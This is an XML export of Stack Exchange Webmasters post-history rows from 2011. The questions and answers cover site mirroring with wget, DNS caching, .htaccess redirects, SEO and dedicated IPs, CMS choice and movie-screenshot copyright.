  <row Id="19185" PostHistoryTypeId="3" PostId="8816" RevisionGUID="077c0cdd-e42d-480f-a946-f1bb674031b9" CreationDate="2011-02-07T09:04:14.720" UserId="5219" Text="&lt;web-development&gt;&lt;security&gt;&lt;web-security&gt;" />
  <row Id="19186" PostHistoryTypeId="17" PostId="8818" RevisionGUID="8ce79e73-4de9-4f95-8fb2-991c5d171d22" CreationDate="2011-02-07T09:30:45.003" UserId="-1" Comment="from http://serverfault.com/questions/176760/best-web-site-copying-software/176782#176782" Text="" />
  <row Id="19187" PostHistoryTypeId="17" PostId="8819" RevisionGUID="e95407ef-c77f-4f33-9cb4-a84086054075" CreationDate="2011-02-07T09:30:45.003" UserId="-1" Comment="from http://serverfault.com/questions/176760/best-web-site-copying-software/232056#232056" Text="" />
  <row Id="19188" PostHistoryTypeId="2" PostId="8818" RevisionGUID="a203424a-cf23-4890-96aa-891be1dc004d" CreationDate="2010-09-01T03:56:00.107" UserDisplayName="BillThor " Text="If you have physical control of the servers, you should be able to get access to the server, and change the password.  A live Linux CD or DVD should get you full access to the file system.  You can then copy the system off without or without changing the passwords.  &#xD;&#xA;&#xD;&#xA;Does the system create backups.  If so you should be able to restore them to another system where you do have Operating System Access.&#xD;&#xA;&#xD;&#xA;As your site has server side code, you will be limited in how much you can rip.  Some of the web site testing tools will capture the content from the pages they test.  This might get you on your way, and build some test scripts at the same time.&#xD;&#xA;" />
  <row Id="19189" PostHistoryTypeId="2" PostId="8819" RevisionGUID="333551c3-a2b6-46d3-a4f7-7e3cabf83e6e" CreationDate="2011-02-07T08:46:33.837" UserDisplayName="Bruce G" Text="wget is really simple if you have it installed.  wget -m will mirror an entire site.  give it a -k option will also convert the links in the document to make them suitable for local viewing." />
  <row Id="19190" PostHistoryTypeId="2" PostId="8817" RevisionGUID="99d02b0a-4d80-4247-9b00-43da398c3ca5" CreationDate="2010-09-01T02:11:26.083" UserId="3123" Text="I just wanted to get some opinions on the best &quot;web site copying&quot; software out there (free or commercial is fine).  I have a site that I've recently become responsible for managing, and the previous consultant has not provided operating system access.  As such, the plan is to re-host the web site.  I realize there are a lot of different issues to consider in doing this.  However, I don't have much choice in the matter now.  The plan is to use web site copying software (ala HTTrack) to &quot;rip&quot; the web site, and then modify what is downloaded back in to a maintainable site.  This, of course, involves HTML, css, javascript, etc on the front-end.  I'd like to recover as much of the site as possible to make re-creating it as easy as possible.&#xD;&#xA;&#xD;&#xA;Your input is appreciated.  Input on my approach is also appreciated. Thanks!" />
  <row Id="19191" PostHistoryTypeId="1" PostId="8817" RevisionGUID="99d02b0a-4d80-4247-9b00-43da398c3ca5" CreationDate="2010-09-01T02:11:26.083" UserId="3123" Text="Best Web Site Copying Software" />
  <row Id="19192" PostHistoryTypeId="3" PostId="8817" RevisionGUID="99d02b0a-4d80-4247-9b00-43da398c3ca5" CreationDate="2010-09-01T02:11:26.083" UserId="3123" Text="&lt;web-hosting&gt;&lt;websites&gt;&lt;software&gt;&lt;web&gt;&lt;web-applications&gt;" />
  <row Id="19193" PostHistoryTypeId="17" PostId="8817" RevisionGUID="1b02e4c0-f68b-4a25-bc57-0ac26eba84fe" CreationDate="2011-02-07T09:30:45.003" UserId="-1" Comment="from http://serverfault.com/questions/176760/best-web-site-copying-software" Text="" />
  <row Id="19194" PostHistoryTypeId="5" PostId="5839" RevisionGUID="9c3c35be-5a51-4aac-a2d1-4fc69f594135" CreationDate="2011-02-07T10:03:24.897" UserId="198" Comment="minor edit" Text="Is Joomla or Drupal easier to manage?  &#xD;&#xA;Better community than the other to receive help?  &#xD;&#xA;One made for corporations vs for private? &#xD;&#xA;&#xD;&#xA;Seems like WordPress is very popular, too, but can it do the same things as the others? &#xD;&#xA;&#xD;&#xA;Also, how long (in approximate hours) does it take to set one of these up?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="19195" PostHistoryTypeId="24" PostId="5839" RevisionGUID="2da67cfe-ca95-4d65-abad-357c96f41e69" CreationDate="2011-02-07T10:03:24.897" Comment="Proposed by 198 approved by 180 edit id of 8" />
  <row Id="19199" PostHistoryTypeId="5" PostId="8788" RevisionGUID="a689f789-9856-4d2b-8b19-12945adf8976" CreationDate="2011-02-07T10:10:08.880" UserId="196" Comment="confusing word fix" Text="On https://panopticlick.eff.org/ EFF let you test the number of uniquely identifying bits that the browser gives a website. Among these are HTTP header fields such as User-Agent, Accept, Accept-Language and later perhaps ETAG and If-Modified-Since. Also there is a lot of Information that javascript can get from the browser such as time-zone, screen resolution, complete list of fonts and plugins available.&#xD;&#xA;&#xD;&#xA;My first impression is, is all this information really used/required on a majority of all websites?&#xD;&#xA;For example, how many sites does really send different content-types depending on the http accept header, or what fonts are available(I thought css had taken care of this)?&#xD;&#xA;&#xD;&#xA;Let's say of these headers/js functionality on day would be gone.  &#xD;&#xA;Which ones would;&#xD;&#xA;&#xD;&#xA; - never be noticed they were gone?&#xD;&#xA; - impact user experience?&#xD;&#xA; - impact server performance?&#xD;&#xA; - immediately reimplemented because the Internet cannot work without it?&#xD;&#xA;&#xD;&#xA;Extra credit for differentiating between what can be done, what should be done and what is done in most situations." />
  <row Id="19200" PostHistoryTypeId="6" PostId="8788" RevisionGUID="a689f789-9856-4d2b-8b19-12945adf8976" CreationDate="2011-02-07T10:10:08.880" UserId="196" Comment="confusing word fix" Text="&lt;javascript&gt;&lt;http&gt;&lt;http-headers&gt;&lt;privacy&gt;" />
  <row Id="19201" PostHistoryTypeId="2" PostId="8821" RevisionGUID="d7d677d9-799a-49a1-b646-055c5565f955" CreationDate="2011-02-07T10:19:30.280" UserId="5221" Text="Is it possible to integrate any kind of Lightbox with SimpleViewer? But I **don't want** to display SimpleViewer in Lightbox. I want to Lightbox show when I click on one of the images in SimpleViewer.&#xD;&#xA;&#xD;&#xA;Does anyone tried that with success?" />
  <row Id="19202" PostHistoryTypeId="1" PostId="8821" RevisionGUID="d7d677d9-799a-49a1-b646-055c5565f955" CreationDate="2011-02-07T10:19:30.280" UserId="5221" Text="SimpleViewer + lighbox" />
  <row Id="19203" PostHistoryTypeId="3" PostId="8821" RevisionGUID="d7d677d9-799a-49a1-b646-055c5565f955" CreationDate="2011-02-07T10:19:30.280" UserId="5221" Text="&lt;javascript&gt;" />
  <row Id="19204" PostHistoryTypeId="5" PostId="6181" RevisionGUID="658fb4af-ad9f-422f-9799-1da5a06cab4b" CreationDate="2011-02-07T10:33:15.260" UserId="3307" Comment="added 132 characters in body" Text="I very much doubt that rackspace would freeze a VM. I advice getting in touch with someone from support.&#xD;&#xA;&#xD;&#xA;**Edit** Are you absolutely sure that the server is down? Are you sure it's not to do with whatever you are hosting on the site?" />
  <row Id="19205" PostHistoryTypeId="2" PostId="8822" RevisionGUID="df621e0b-114d-422c-8d79-a0151a2fb34f" CreationDate="2011-02-07T10:42:58.540" UserId="4502" Text="There was a 24Ways post titled &lt;a href=&quot;http://24ways.org/2009/spruce-it-up&quot;&gt;Spruce it Up&lt;/a&gt; in 2009 in which the example was ultimately the encoding of a single ampersand.&#xD;&#xA;&#xD;&#xA;For cross-reference, there was a &lt;a href=&quot;http://stackoverflow.com/questions/1124149/embedding-background-image-data-into-css-as-base64-good-or-bad-practice&quot;&gt;previous SO question&lt;/a&gt; about this with some other links and considerations.&#xD;&#xA;&#xD;&#xA;@Yi Jian's link doesn't involve encoding at all, just referencing a different font, though is also handy." />
  <row Id="19206" PostHistoryTypeId="25" PostId="8812" RevisionGUID="8a623057-04cb-49fe-97e0-8fd41843e862" CreationDate="2011-02-07T11:16:40.103" Comment="http://twitter.com/#!/StackWebmasters/status/34571236465967104" />
  <row Id="19207" PostHistoryTypeId="17" PostId="8824" RevisionGUID="479d2d71-396e-4515-9f58-cf17beb161dd" CreationDate="2011-02-07T11:55:03.470" UserId="-1" Comment="from http://superuser.com/questions/242634/dns-problem-old-dns-servers-are-not-going-away/242636#242636" Text="" />
  <row Id="19208" PostHistoryTypeId="2" PostId="8824" RevisionGUID="e60761d7-ee36-46f5-8473-b6b8e0b5759f" CreationDate="2011-02-07T11:35:34.080" UserDisplayName="goblinbox" Text="It can take up to several days for DNS changes to propagate across the Internet. (If, for instance, your domain's record had had a time-to-live of a week before you edited it, it will take a week for remote servers to consider the record obsolete and request a new copy.)&#xD;&#xA;&#xD;&#xA;If I understand you when you say &quot;now people see it with my new nameservers, however I still see the old nameservers&quot; correctly, this disparity merely means that the name servers you're using haven't received the changes yet.&#xD;&#xA;&#xD;&#xA;If the problem still exists tomorrow, I would suggest that you call your ISP and ask them if they can force a DNS update for you." />
  <row Id="19209" PostHistoryTypeId="2" PostId="8823" RevisionGUID="bba2d578-eac8-4072-9b35-c054730f9feb" CreationDate="2011-02-07T11:25:32.110" UserDisplayName="sprsr" Text="I have a [website][1], and I changed the nameservers of the domain of my site, now people see it with my new nameservers however I still see the oldnameservers (Which are sedo's nameservers). &#xD;&#xA;&#xD;&#xA;I tried ipconfig/flushdns it works and clears the caches, however when I enter the domain the cache restores back with the old nameservers.&#xD;&#xA;&#xD;&#xA;What should I do ?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.strp.net" />
  <row Id="19210" PostHistoryTypeId="1" PostId="8823" RevisionGUID="bba2d578-eac8-4072-9b35-c054730f9feb" CreationDate="2011-02-07T11:25:32.110" UserDisplayName="sprsr" Text="DNS problem, old dns servers are not going away" />
  <row Id="19211" PostHistoryTypeId="3" PostId="8823" RevisionGUID="bba2d578-eac8-4072-9b35-c054730f9feb" CreationDate="2011-02-07T11:25:32.110" UserDisplayName="sprsr" Text="&lt;windows-7&gt;&lt;dns&gt;&lt;nameserver&gt;" />
  <row Id="19212" PostHistoryTypeId="17" PostId="8823" RevisionGUID="3096c6ba-f118-4984-b707-6b658b3a329c" CreationDate="2011-02-07T11:55:03.470" UserId="-1" Comment="from http://superuser.com/questions/242634/dns-problem-old-dns-servers-are-not-going-away" Text="" />
  <row Id="19213" PostHistoryTypeId="2" PostId="8825" RevisionGUID="e4dee8a4-f38d-4b9a-8bba-ffc00a27f10c" CreationDate="2011-02-07T12:46:00.497" UserId="1253" Text="There are no books that cover this. This is a topic that goes *way* beyond what you can write in a book. The technical, security, and legal issues are huge. If you need a book to learn how to do this then you you shouldn't be attempting this. This is something a large team would be doing.&#xD;&#xA;&#xD;&#xA;You'll need to use  a high level language like C or C++ because speed is hugely important in financial transactions.&#xD;&#xA;&#xD;&#xA;Also, if you're just learning how to program then this is definitely way above your skill level. Even if you can work out the legal and security issues the programming is still above your head. Sorry to sound pessimistic but this isn't like building an ordinary website. This is a monumental task. I have a friend who is currently working on a huge financial project similar to this and just getting the necessary financial institutions on board has been a year long project." />
  <row Id="19215" PostHistoryTypeId="10" PostId="8811" RevisionGUID="a62b418a-07b5-483e-8dd4-8f5b9325b9ca" CreationDate="2011-02-07T12:49:55.453" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19216" PostHistoryTypeId="5" PostId="8811" RevisionGUID="6ec025c6-45e7-4b10-aa16-d0a37d25f170" CreationDate="2011-02-07T12:49:55.610" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Self ads targeting](http://webmasters.stackexchange.com/questions/8501/self-ads-targeting)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'm wondering what online advertising programs there are out there where the site owner can chose which relevant ads to put on particular pages from a large selection of possible ads.  Is there such a thing? (As opposed to adsense style 'auto-relevance' which often produces poor results)" />
  <row Id="19217" PostHistoryTypeId="25" PostId="8823" RevisionGUID="86801011-d3b3-4517-a43b-99d1d4131063" CreationDate="2011-02-07T14:16:39.963" Comment="http://twitter.com/#!/StackWebmasters/status/34616535649755137" />
  <row Id="19218" PostHistoryTypeId="5" PostId="8825" RevisionGUID="ffba15a8-50a8-4ccd-9412-1bd84152a9fc" CreationDate="2011-02-07T14:31:11.717" UserId="1253" Comment="added 516 characters in body; added 84 characters in body" Text="There are no books that cover this. This is a topic that goes *way* beyond what you can write in a book. The technical, security, and legal issues are huge. If you need a book to learn how to do this then you you shouldn't be attempting this. This is something a large team would be doing.&#xD;&#xA;&#xD;&#xA;You'll need to use  a high level language like C or C++ because speed is hugely important in financial transactions.&#xD;&#xA;&#xD;&#xA;If you're going to have US customers use this service you're going to want to have servers located in the US for speed purposes which mean you will have PCI compliance issues to deal with. This isn't easy t do and would be expensive both up front and on an ongoing basis.&#xD;&#xA;&#xD;&#xA;Fraud control. What do you know about it and what can you do about it That alone is a huge task that would require a team with lots of experience to tackle it. The largest and fastest growing part of any payment provider is the fraud department. Unless you can get a handle on that from day one you're not going anywhere.&#xD;&#xA;&#xD;&#xA;Also, if you're just learning how to program then this is definitely way above your skill level. Even if you can work out the legal and security issues the programming is still above your head. Sorry to sound pessimistic but this isn't like building an ordinary website. This is a monumental task. I have a friend who is currently working on a huge financial project similar to this and just getting the necessary financial institutions on board has been a year long project." />
  <row Id="19219" PostHistoryTypeId="2" PostId="8826" RevisionGUID="cd46d8d2-6257-433d-aabd-3e2f91d3d685" CreationDate="2011-02-07T14:46:43.980" UserId="5226" Text="I have 3 distinct blogs.&#xD;&#xA;They are powered by Wordpress Multisite&#xD;&#xA;&#xD;&#xA;http://blogs.crocus.co.uk/kitchengarden&#xD;&#xA;http://blogs.crocus.co.uk/chelseaflowershow&#xD;&#xA;http://blogs.crocus.co.uk/plantsmans&#xD;&#xA;&#xD;&#xA;What I want to do is set up Goolge Analytics to track them&#xD;&#xA;&#xD;&#xA;What would be the best way to do this?&#xD;&#xA;&#xD;&#xA;A separate account for each?&#xD;&#xA;A &quot;Blogs&quot; account, with different profiles... etc..?" />
  <row Id="19220" PostHistoryTypeId="1" PostId="8826" RevisionGUID="cd46d8d2-6257-433d-aabd-3e2f91d3d685" CreationDate="2011-02-07T14:46:43.980" UserId="5226" Text="Google Analytics setup for 3 related blogs" />
  <row Id="19221" PostHistoryTypeId="3" PostId="8826" RevisionGUID="cd46d8d2-6257-433d-aabd-3e2f91d3d685" CreationDate="2011-02-07T14:46:43.980" UserId="5226" Text="&lt;google-analytics&gt;" />
  <row Id="19222" PostHistoryTypeId="2" PostId="8827" RevisionGUID="b8ed7072-843c-49de-803c-722245475037" CreationDate="2011-02-07T15:06:28.313" UserDisplayName="user5227" Text="I want to build a website where users can upload screenshots from movies. Does anybody knows if this is (il)legal? I'm living in europe/germany." />
  <row Id="19223" PostHistoryTypeId="1" PostId="8827" RevisionGUID="b8ed7072-843c-49de-803c-722245475037" CreationDate="2011-02-07T15:06:28.313" UserDisplayName="user5227" Text="Is it allowed to use one frame of a hollywood blockbuster on my website?" />
  <row Id="19224" PostHistoryTypeId="3" PostId="8827" RevisionGUID="b8ed7072-843c-49de-803c-722245475037" CreationDate="2011-02-07T15:06:28.313" UserDisplayName="user5227" Text="&lt;website&gt;&lt;law&gt;" />
  <row Id="19229" PostHistoryTypeId="6" PostId="8827" RevisionGUID="9cae0a3c-1bf5-4479-9acc-419fff1dc6a5" CreationDate="2011-02-07T15:13:52.677" UserId="1253" Comment="Removed &quot;website&quot; tag. Added &quot;copyright&quot; tag." Text="&lt;copyright&gt;&lt;law&gt;" />
  <row Id="19236" PostHistoryTypeId="2" PostId="8830" RevisionGUID="9c2f8684-7140-40a3-920b-745f8b055648" CreationDate="2011-02-07T16:12:57.690" UserId="2795" Text="It depends on a few things - are you charging people to see the content on your website? Do you have the copyright info for the movie (e.g. ©2009 Universal Studios) shown under the image? And what size image are you showing?&#xD;&#xA;&#xD;&#xA;I'm certain that if you charge people to see a 1080p-resolution image capture from a movie, you'll be running into some issues.&#xD;&#xA;&#xD;&#xA;However, if your site is more of a simple movie review site or service, and you are displaying a small image capture of a scene from a movie, that would probably be considered fair-use.&#xD;&#xA;&#xD;&#xA;If you're running a pretty large site, though, I'd ask a lawyer." />
  <row Id="19237" PostHistoryTypeId="2" PostId="8831" RevisionGUID="93d020ca-4be3-47ed-b80b-1da8df91ca39" CreationDate="2011-02-07T16:27:29.337" UserId="5229" Text="I have a website which i have indexed on google for example (like 15 days ago).&#xD;&#xA;&#xD;&#xA;some of my pages pass arguments like:&#xD;&#xA;&#xD;&#xA;http://www.bla.com/products.php?**pro=bla**&amp;**page=view**&#xD;&#xA;&#xD;&#xA;suddently i saw that passing arguments like this isn't good for SEO purposes and &#xD;&#xA;started using htaccess rewrite.&#xD;&#xA;&#xD;&#xA;and changed the arguments to like this:&#xD;&#xA;&#xD;&#xA;http://www.bla.com/products/**bla**/**view**/&#xD;&#xA;&#xD;&#xA;now my site on google still shows as i should at link number 1&#xD;&#xA;&#xD;&#xA;what should i do?&#xD;&#xA;&#xD;&#xA;i thought i should wait for the search engine to crawl my site again but nothing happened.&#xD;&#xA;&#xD;&#xA;thanks in advanced,&#xD;&#xA;Din" />
  <row Id="19238" PostHistoryTypeId="1" PostId="8831" RevisionGUID="93d020ca-4be3-47ed-b80b-1da8df91ca39" CreationDate="2011-02-07T16:27:29.337" UserId="5229" Text="problem showing my website correctly in search engines" />
  <row Id="19239" PostHistoryTypeId="3" PostId="8831" RevisionGUID="93d020ca-4be3-47ed-b80b-1da8df91ca39" CreationDate="2011-02-07T16:27:29.337" UserId="5229" Text="&lt;seo&gt;&lt;google&gt;&lt;indexing&gt;&lt;search&gt;" />
  <row Id="19240" PostHistoryTypeId="25" PostId="8831" RevisionGUID="917ab050-e9d1-4744-98fd-0551641ed97f" CreationDate="2011-02-07T17:16:40.480" Comment="http://twitter.com/#!/StackWebmasters/status/34661834896179200" />
  <row Id="19241" PostHistoryTypeId="5" PostId="8831" RevisionGUID="eb1ed517-f13d-42e2-b782-6c3374b155ed" CreationDate="2011-02-07T17:21:13.157" UserId="5229" Comment="edited body" Text="I have a website which i have indexed on google for example (like 15 days ago).&#xD;&#xA;&#xD;&#xA;some of my pages pass arguments like:&#xD;&#xA;&#xD;&#xA;http://www.bla.com/products.php?**pro=bla**&amp;**page=view**&#xD;&#xA;&#xD;&#xA;suddently i saw that passing arguments like this isn't good for SEO purposes and &#xD;&#xA;started using htaccess rewrite.&#xD;&#xA;&#xD;&#xA;and changed the arguments to like this:&#xD;&#xA;&#xD;&#xA;http://www.bla.com/products/**bla**/**view**/&#xD;&#xA;&#xD;&#xA;now my site on google still shows as i showed at link number 1&#xD;&#xA;&#xD;&#xA;what should i do?&#xD;&#xA;&#xD;&#xA;i thought i should wait for the search engine to crawl my site again but nothing happened.&#xD;&#xA;&#xD;&#xA;thanks in advanced,&#xD;&#xA;Din" />
  <row Id="19242" PostHistoryTypeId="2" PostId="8832" RevisionGUID="a3d64cce-ba7d-4250-8599-1bcb22d52095" CreationDate="2011-02-07T18:19:29.220" UserId="5157" Text="Add a redirect in .htaccess for the URL's the Google has. There is no reason for them to get rid of them because they still go to legit pages but with the redirect next time Google crawls it will see that the URL has changed." />
  <row Id="19243" PostHistoryTypeId="2" PostId="8833" RevisionGUID="c6344f09-b35c-4a27-9baa-eb8002c61379" CreationDate="2011-02-07T18:37:54.427" UserId="5233" Text="I'm looking for a way to force SSL and WWW.&#xD;&#xA;&#xD;&#xA;I've been able to force both separately but together I keep running into redirection issues. The following code works when handling a url in this format: &quot;http://domain.com&quot; and properly redirects to &quot;https://www.domain.com&quot; but when the incoming url is &quot;https://domain.com&quot; it will not forward to &quot;https://www.domain.com&quot; -- Any suggestions?&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REMOTE_ADDR} !127\.0\.0\.0&#xD;&#xA;    RewriteCond %{SERVER_PORT} 80&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www.domain\.com$&#xD;&#xA;    RewriteRule ^(.*)$ https://www.domain.com/$1 [R,L]" />
  <row Id="19244" PostHistoryTypeId="1" PostId="8833" RevisionGUID="c6344f09-b35c-4a27-9baa-eb8002c61379" CreationDate="2011-02-07T18:37:54.427" UserId="5233" Text="Force SSL and WWW in .htaccess" />
  <row Id="19245" PostHistoryTypeId="3" PostId="8833" RevisionGUID="c6344f09-b35c-4a27-9baa-eb8002c61379" CreationDate="2011-02-07T18:37:54.427" UserId="5233" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;redirects&gt;&lt;url-rewriting&gt;&lt;mod-rewrite&gt;" />
  <row Id="19246" PostHistoryTypeId="5" PostId="8833" RevisionGUID="7a1a0fd5-f6e1-4ee9-9f40-3c7742bd6a39" CreationDate="2011-02-07T18:46:31.993" UserId="5233" Comment="added 82 characters in body" Text="I'm looking for a way to force SSL and WWW.&#xD;&#xA;&#xD;&#xA;I've been able to force both separately but together I keep running into redirection issues. The following code works when handling a url in this format: &quot;http://domain.com&quot; and properly redirects to &quot;https://www.domain.com&quot; but when the incoming url is &quot;https://domain.com&quot; it will not forward to &quot;https://www.domain.com&quot; -- Any suggestions?&#xD;&#xA;&#xD;&#xA;EDIT: it should also send &quot;http://www.domain.com&quot; to &quot;&quot;https://www.domain.com&quot;&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REMOTE_ADDR} !127\.0\.0\.0&#xD;&#xA;    RewriteCond %{SERVER_PORT} 80&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www.domain\.com$&#xD;&#xA;    RewriteRule ^(.*)$ https://www.domain.com/$1 [R,L]" />
  <row Id="19249" PostHistoryTypeId="2" PostId="8835" RevisionGUID="2a13f434-4461-4e2f-8a43-425a7887a9d4" CreationDate="2011-02-07T05:08:20.910" UserDisplayName="user532887" Text="I am creating a website and would like to allow users to create their own email forward.&#xD;&#xA;&#xD;&#xA;Basically, the site will allow groups to create pages on the site, each of which will be able to have its own domain name.&#xD;&#xA;&#xD;&#xA;I would like users to be able to automatically create an email address on the site that will forward any incoming emails to their own email account.&#xD;&#xA;&#xD;&#xA;Right now I have to manually set these up in my hosting account control panel but I'm hoping there is a way to do this automatically.&#xD;&#xA;&#xD;&#xA;Does anyone have experience with doing something similar?" />
  <row Id="19250" PostHistoryTypeId="1" PostId="8835" RevisionGUID="2a13f434-4461-4e2f-8a43-425a7887a9d4" CreationDate="2011-02-07T05:08:20.910" UserDisplayName="user532887" Text="Allowing users to create an email address" />
  <row Id="19251" PostHistoryTypeId="3" PostId="8835" RevisionGUID="2a13f434-4461-4e2f-8a43-425a7887a9d4" CreationDate="2011-02-07T05:08:20.910" UserDisplayName="user532887" Text="&lt;php&gt;&lt;email&gt;" />
  <row Id="19252" PostHistoryTypeId="17" PostId="8835" RevisionGUID="d03110c3-f2bc-4a21-9ca0-77b4f951438b" CreationDate="2011-02-07T19:21:32.347" UserId="-1" Comment="from http://serverfault.com/questions/232061/allowing-users-to-create-an-email-address" Text="" />
  <row Id="19253" PostHistoryTypeId="17" PostId="8837" RevisionGUID="6c40ef65-2b25-42f9-aa67-83ad74637aff" CreationDate="2011-02-07T19:24:02.300" UserId="-1" Comment="from http://serverfault.com/questions/84476/do-dedicated-ip-addresses-improve-seo/84480#84480" Text="" />
  <row Id="19254" PostHistoryTypeId="17" PostId="8838" RevisionGUID="c3c8a03e-1f91-4265-b736-c4cc5d177077" CreationDate="2011-02-07T19:24:02.300" UserId="-1" Comment="from http://serverfault.com/questions/84476/do-dedicated-ip-addresses-improve-seo/208957#208957" Text="" />
  <row Id="19255" PostHistoryTypeId="17" PostId="8839" RevisionGUID="ed98bc7e-567d-46a0-b22f-4752456421eb" CreationDate="2011-02-07T19:24:02.300" UserId="-1" Comment="from http://serverfault.com/questions/84476/do-dedicated-ip-addresses-improve-seo/232303#232303" Text="" />
  <row Id="19256" PostHistoryTypeId="2" PostId="8837" RevisionGUID="6503e018-3870-4bab-b7d1-f9c0c4cecec1" CreationDate="2009-11-13T17:04:15.530" UserId="3456" Text="The IP address where your website is hosted has no effect on SEO.&#xD;&#xA;&#xD;&#xA;Since we're probably only talking about Google here, I found [this link][1] about how Google's PageRank is not affected by your IP address (or more specifically, how many websites are hosted at a given IP address).&#xD;&#xA;&#xD;&#xA;My own theory as to why this opinion has developed is because larger companies typically throw way more money at their infrastructure (networks, servers, IP address blocks, etc.) than a small business, that may need to cut corners by going with a virtually hosted solution for their website.  Since these larger companies have the budget, they spend more on SEO for their websites, which results in better Page Ranks, which leads to illusion that websites on dedicated IP addresses get better Page Rank.&#xD;&#xA;&#xD;&#xA;**Addendum**:  In the comments, Coops brings up a good point about IP blocks that get placed on blacklists for one reason or another.  I'm wondering myself if this has any effect on SEO, or just with services like SMTP and the like.  Anyone have any thoughts on this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/myth-busting-virtual-hosts-vs-dedicated-ip-addresses/" />
  <row Id="19257" PostHistoryTypeId="2" PostId="8838" RevisionGUID="662775eb-8931-4dc4-9e22-f55968e7fcdc" CreationDate="2010-12-03T21:38:46.563" UserDisplayName="Glenn Ogle" Text="It's easy for SEOs to get bogged down in the details and forget that Google's algorithm is all about relevance to the user. They desperately want anyone who searches to use Google, and to ensure that, they need to provide the most relevant results. So let's put this to the test... would a dedicated IP vs. a shared IP affect relevance to the user in any way? As far as I know, users don't know and don't care, so it's a pretty safe bet this has no impact on SEO. &#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://www.insegment.com/seo-services.html&quot;&gt;Boston SEO&lt;/a&gt;" />
  <row Id="19258" PostHistoryTypeId="2" PostId="8839" RevisionGUID="90f2ef88-5c57-4a7e-970b-357d88a9dacc" CreationDate="2011-02-07T19:01:53.030" UserDisplayName="Mike Slemko" Text="Google has changed their algorithms for geo targeting. If your IP is physically closer it is more likely to reach the visitor searching." />
  <row Id="19259" PostHistoryTypeId="2" PostId="8836" RevisionGUID="d7af5f95-dc0c-4b06-9577-0ef04322c240" CreationDate="2009-11-13T16:50:24.857" UserDisplayName="Alon" Text="I've googled that and I've found many opinions on this subject, and I'm not sure, if, dedicated IP addresses actually really improve SEO? Is it *that* different from shared IP address (of 50-100 other sites)?" />
  <row Id="19260" PostHistoryTypeId="1" PostId="8836" RevisionGUID="d7af5f95-dc0c-4b06-9577-0ef04322c240" CreationDate="2009-11-13T16:50:24.857" UserDisplayName="Alon" Text="Do dedicated IP addresses improve SEO?" />
  <row Id="19261" PostHistoryTypeId="3" PostId="8836" RevisionGUID="d7af5f95-dc0c-4b06-9577-0ef04322c240" CreationDate="2009-11-13T16:50:24.857" UserDisplayName="Alon" Text="&lt;google&gt;&lt;seo&gt;&lt;dedicated-hosting&gt;&lt;search-engines&gt;" />
  <row Id="19262" PostHistoryTypeId="17" PostId="8836" RevisionGUID="545b89df-bf8d-4e3d-9ac7-aba951c0589f" CreationDate="2011-02-07T19:24:02.300" UserId="-1" Comment="from http://serverfault.com/questions/84476/do-dedicated-ip-addresses-improve-seo" Text="" />
  <row Id="19263" PostHistoryTypeId="18" PostId="7786" RevisionGUID="7b21b804-5a88-42a1-9482-01402a989be9" CreationDate="2011-02-07T19:26:22.000" UserId="138" Comment="to http://webmasters.stackexchange.com/questions/8836/do-dedicated-ip-addresses-improve-seo" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="19264" PostHistoryTypeId="18" PostId="7787" RevisionGUID="7b21b804-5a88-42a1-9482-01402a989be9" CreationDate="2011-02-07T19:26:22.000" UserId="138" Comment="from http://webmasters.stackexchange.com/questions/7786/ip-address-and-seo" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="19265" PostHistoryTypeId="18" PostId="8836" RevisionGUID="7b21b804-5a88-42a1-9482-01402a989be9" CreationDate="2011-02-07T19:26:22.000" UserId="138" Comment="from http://webmasters.stackexchange.com/questions/7786/ip-address-and-seo" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="19266" PostHistoryTypeId="14" PostId="7786" RevisionGUID="bc1948b7-5b2a-445f-a950-4cf25db742a6" CreationDate="2011-02-07T19:26:22.220" UserId="138" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="19267" PostHistoryTypeId="17" PostId="8841" RevisionGUID="b28816d7-514e-4837-9166-a0c70ad25737" CreationDate="2011-02-07T19:32:15.593" UserId="-1" Comment="from http://stackoverflow.com/questions/4918301/mysql-vs-sql-server-go-daddy-what-is-the-difference-bewteen-hosted-db-and-app-d/4918641#4918641" Text="" />
  <row Id="19268" PostHistoryTypeId="2" PostId="8841" RevisionGUID="199c20ec-db04-44b5-a07c-12ea134fe53e" CreationDate="2011-02-07T06:32:21.293" UserDisplayName="regex" Text="Using the MSSQL db file in your App_Data folder would require the hosting server to have, at the minimum, SQL Express installed. I don't know GoDaddy's billing model, but my guess is that an instance of SQL probably has a cost.&#xD;&#xA;&#xD;&#xA;Therefore, the second option in your question is not possible." />
  <row Id="19269" PostHistoryTypeId="2" PostId="8840" RevisionGUID="9ab1ae31-cef7-4c41-8db0-8e73a65aec9e" CreationDate="2011-02-07T05:25:15.077" UserDisplayName="Nate Gates" Text="I'm using Goddady for site hosting, and I'm currently using MySQL, because there are less limits on size,etc. My question is what is the difference between using a hosted Godaddy Db such as MySQL vs. creating a SQL Serverdatabase in the the App_Data folder? My guess is security? Would it be a bad idea to use a SQL ServerDB thats located in the App_Data folder?&#xD;&#xA;&#xD;&#xA;**Additional** Well I am able to create a .mdf (SQL Server DB file) in the App_Data folder, but I'm really unsure if should use that or not, If I did use it it would simplify using some of the Microsoft tools. Like I said my guess is that it would be less secure, but I don't really know. I know I have a 10gb, file system limit, so I'm assuming my db would have to share that space. " />
